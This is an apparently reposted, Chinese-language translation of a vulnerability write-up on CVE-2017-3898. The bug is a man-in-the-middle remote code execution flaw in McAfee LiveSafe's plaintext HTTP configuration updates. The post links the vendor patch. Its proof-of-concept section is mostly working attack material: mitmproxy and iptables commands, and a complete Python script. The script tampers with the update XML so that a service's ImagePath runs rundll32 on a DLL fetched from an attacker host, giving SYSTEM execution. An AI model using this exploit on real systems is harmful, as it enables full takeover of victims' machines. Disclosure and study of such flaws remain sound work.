Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

$
0
0
【技术分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

2017-09-19 11:00:51

阅读:1144次
点赞(0)
收藏
来源: securiteam.com





【技术分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

作者:eridanus96





【技术分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

译者:Janus情报局

预估稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


漏洞概述

该漏洞影响McAfee LiveSafe (MLS) 16.0.3之前的全部版本,存在远程代码执行。此漏洞允许攻击者通过篡改HTTP后端响应,从而修改与McAfee更新相关的windows注册表值。

McAfee Security Scan Plus是一个免费的诊断工具,可检查计算机中的防病毒软件、防火墙及web安全软件,同时还会扫描已运行程序中的威胁。

该漏洞由Silent Signal首次发现并通报。目前已发布该漏洞的补丁,网址为:https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714


漏洞详情

攻击者可以在多个McAfee产品中实现远程代码执行。受影响的产品会通过明文HTTP通道,从http://COUNTRY.mcafee.com/apps/msc/webupdates/mscconfig.asp检索配置数据(其中的“COUNTRY”修改为国家的两字母标识符,例如英国是“uk”、中国是“cn”)。

响应的正文包含XML格式数据,类似于下列内容:

<webservice-responseresponse-version="1.0"frequency="168" verid="1#1316#15#0#2"> <update> <regkey="HKLM\SOFTWARE\McAfee\MSC\Settings\InProductTransaction" name="enable"type="REG_DWORD"value="1"obfuscate="0"/> </update> </webservice-response>

在上述响应中,描述了在“webservice-response/update”路径下使用reg标记进行的注册表修改行为。

这一请求和后续的更新会自动触发,首次触发是在软件安装后的特定分钟后(默认情况下为168分钟)。

此更新由McSvHost.exe进程的PlatformServiceFW.dll执行,方法是使用/update参数调用mcsvrcnt.exe程序。McSvHost.exe进程使用由实现注册表更改的mcsvrcnt.exe继承的系统权限运行。

因此,攻击者可以修改服务器响应,以使用系统(SYSTEM)权限写入特定的注册表。


PoC

我们可以借助该漏洞,作为代理来拦截和修改明文HTTP请求及响应。由于该软件对HTTPS服务会进行证书验证,因此,让这些连接不经过修改就非常重要。

常规的HTTP代理模式中,可以通过使用--ignore mitmproxy的命令行参数来实现这一点:

mitmproxy-smcreggeli_inline.py--ignore'.*'

在透明代理的模式下,不应该提供上述参数:

mitmproxy-smreggeli_inline.py–T

针对透明代理模式,可使用以下命令,在基于Debian的linux发行版本上配置 NAT和端口重定向(此处eth0 是对目标可见的接口,eth1连接到网络):

iptables -t nat -A PREROUTING -i eth0 -p tcp \
--dport 80 -j REDIRECT --to 8080
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sysctl net.ipv4.ip_forward=1

该脚本会在请求URL中查找“mscconfig.asp”字符串。如果发现XML响应正文被反序列化,则会根据在脚本开头声明的reg变量,添加新的reg节点。REG变量是一个字典列表,每个字典都包含以下键:

密钥:要修改的注册表项的名称 (例如“HKLM\SYSTEM\CurrentControlSet\Services\mfevtp”,其中的反斜线需进行python的转义);

类型:需要创建的值的类型(例如字符串的“REG_SZ”);

名称:需要创建的值的名称;

值:需要创建的值。

该漏洞利用还会将频率属性更改为1,这样一来,如果需要再次渗透,就可以在更短的时间内(1小时之内)进行。插入新节点后,将序列化生成的对象,并将其置于原始响应正文的位置。

为了演示,我们覆盖了受影响的McAfee产品(即mfevtp,McAfee进程验证服务)的一个服务条目——HKLM\SYSTEM\CurrentControlSet\Services\mfevtp,其值被替换为指向带有指向攻击主机的 UNC 路径参数的rundll32.exe。在这里,我们使用了Metasploit中smb_delivery模块提供的payload test.dll:


【技术分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

REG变量声明如下:

REG=[{"key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\mfevtp","type":"REG_SZ","name":"ImagePath","value":"c:\\windows\\system32\\rundll32.exe\\\\172.16.205.1\\pwn\\test.dll,0"},]

这样一来,在重新启动计算机之后,系统(SYSTEM)级的命令执行就会被触发,而McAfee软件并没有发现该情况的存在。

mcreggeli_inline.py #!/usr/bin/envpython3 # #HTTPproxymode: #mitmproxy-smcreggeli_inline.py--ignore'.*' # #Transparentproxymode: #mitmproxy-smcreggeli_inline.py-T--host #frommitmproxyimportctx,http fromlxmlimportetree REG=[{"key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\mfevtp","type":"REG_SZ","name":"ImagePath","value":"c:\\windows\\system32\\rundll32.exe\\\\172.16.205.1\\pwn\\test.dll,0"},] defresponse(flow): ifflow.request.scheme=="http"and"mscconfig.asp"inflow.request.url: try: oxml=etree.XML(flow.response.content) oxml.set("frequency","1") update=oxml.xpath("//webservice-response/update")[0] forrinREG: reg=etree.SubElement(update,"reg") reg.set("key",r["key"]) reg.set("type",r["type"]) reg.set("obfuscate","0") reg.set("name",r["name"]) reg.set("value",r["value"]) #ctx.log(etree.tostring(oxml)) flow.response.content=etree.tostring(oxml) ctx.log("[+][MCREGGELI]Payloadsent") exceptetree.XMLSyntaxError: ctx.log("[-][MCREGGELI]XMLdeserializationerror")


【技术分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析
【技术分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.securiteam.com/index.php/archives/3248#more-3248

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images